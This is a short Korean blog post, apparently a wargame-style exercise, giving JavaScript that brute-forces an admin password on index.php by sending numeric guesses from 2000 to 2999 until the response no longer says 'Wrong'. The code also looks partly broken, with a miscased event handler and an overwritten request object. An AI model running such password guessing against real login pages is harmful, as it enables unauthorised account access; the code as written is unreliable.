web brute force attack

아.. 자바스크립트로만 해결할려고 삽질 한참했다.
전역으로 선언한 xhr 객체가 xhr 이벤트 핸들때는 호출이 안되었다.


function request(number){
if(number>2999) return;
xhr = new XMLHttpRequest();
xhr = new ActiveXObject("Microsoft.XMLHTTP");
xhr.onreadystateChange = rply;
xhr.open('get','index.php?cid=admin&cpw='+number+'&n='+Math.random());xhr.send(null);

}

i = 2000;
xhr = new XMLHttpRequest();
xhr = new ActiveXObject("Microsoft.XMLHTTP");


function rply(){if(xhr.readyState==4) if( xhr.responseText.indexOf('Wrong') > 0) request(i++); else alert(i);}

xhr.onreadystateChange = rply;

xhr.open('get','index.php?cid=admin&cpw='+i);xhr.send(null);

댓글

이 블로그의 인기 게시물

C#에서 포인터 사용

WPF RichTextBox 와 Document의 바인딩

WPF 이미지위에 라인 그리기(WPF DrawLine on exist Image)